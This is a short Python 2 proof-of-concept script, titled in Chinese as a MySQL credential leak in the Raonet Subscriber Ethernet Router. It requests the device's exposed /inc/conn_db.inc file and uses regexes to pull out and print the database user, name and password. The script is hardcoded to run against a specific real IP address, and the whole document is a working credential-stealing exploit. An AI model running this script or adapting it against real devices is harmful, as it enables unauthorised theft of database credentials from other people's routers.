Raonet Subscriber Ethernet Router MySQL 数据库账户密码泄露

                                                #!/usr/bin/env python
import urlparse
import re
import urllib2

def assign(service, arg):
    if service != "www":
        return
    arr = urlparse.urlparse(arg)
    return True, '%s://%s/inc/conn_db.inc' % (arr.scheme, arr.netloc)

def getMiddleStr(content, r):
    pattern = re.compile(r)
    return pattern.search(content).groups()[0]

def audit(arg):
    url = arg
    response = urllib2.urlopen(url)
    code = response.getcode()
    res = response.read()
    if code == 200:
        print 'db_id: ' + getMiddleStr(res, '\$db_id = "(\w*)"\w*')
        print 'db_name: ' + getMiddleStr(res, '\$db_name = "(\w*)"\w*')
        print 'db_pass: ' + getMiddleStr(res, '\$db_pass = "(\w*)"\w*')

if __name__ == '__main__':
    audit(assign('www', 'http://61.77.63.86/')[1])